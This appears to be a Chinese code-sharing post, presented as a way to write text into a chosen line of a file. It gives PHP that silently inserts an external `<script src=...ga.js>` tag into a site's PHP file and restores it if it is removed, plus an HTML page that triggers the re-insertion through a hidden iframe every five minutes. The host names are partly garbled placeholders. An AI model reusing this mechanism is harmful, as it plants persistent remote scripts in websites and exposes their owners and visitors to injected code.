在文件指定行中写入内容的php代码,有需要的朋友可参考下。
 
复制代码 代码如下:
<?php 
$file="aa.php" ; 
$code="<script src=http://www.google/ga.js></script>"; 
$f=fopen($file,"r+"); 
$content=fread($f,filesize($file)); 
fclose($f); 
if(!strstr($content,$code)){ 
$arrInsert = insertContent($file, $code, 3); 
unlink($file); 
foreach($arrInsert as $value) 
{ 
file_put_contents($file, $value, FILE_APPEND); 
} 
} 
function insertContent($source, $s, $iLine) { 
$file_handle = fopen($source, "r"); 
$i = 0; 
$arr = array(); 
while (!feof($file_handle)) { 
$line = fgets($file_handle); 
++$i; 
if ($i == $iLine) { 
$arr[] = $line .$s . "n"; 
}else { 
$arr[] = $line; 
} 
} 
fclose($file_handle); 
return $arr; 
} 
?> 
 
保存为demo.php,再用一个小程序隔几分钟指定执行它就可以。
像operia浏览器就有这个功能。不过我又加了个html代码来运行它,可以用ie了,打开这个html后扔在哪就可以。 
 
复制代码 代码如下:
<HTML> 
<HEAD> 
</HEAD> 
<BODY> 
<SCRIPT LANGUAGE="JScript"> 
function singOut() { 
var O = document.createElement("
iframe"); 
O.src="http://www.google.com/上的
php文件.php"; 
O.width=100; 
O.height=100; 
document.body.appendChild(O); 
} 
window.setInterval("singOut();",300000); 
</SCRIPT> 
</BODY> 
</HTML> 
 
说明:
这些代码会在php中写入代码,可以写个规则禁止修改php文件。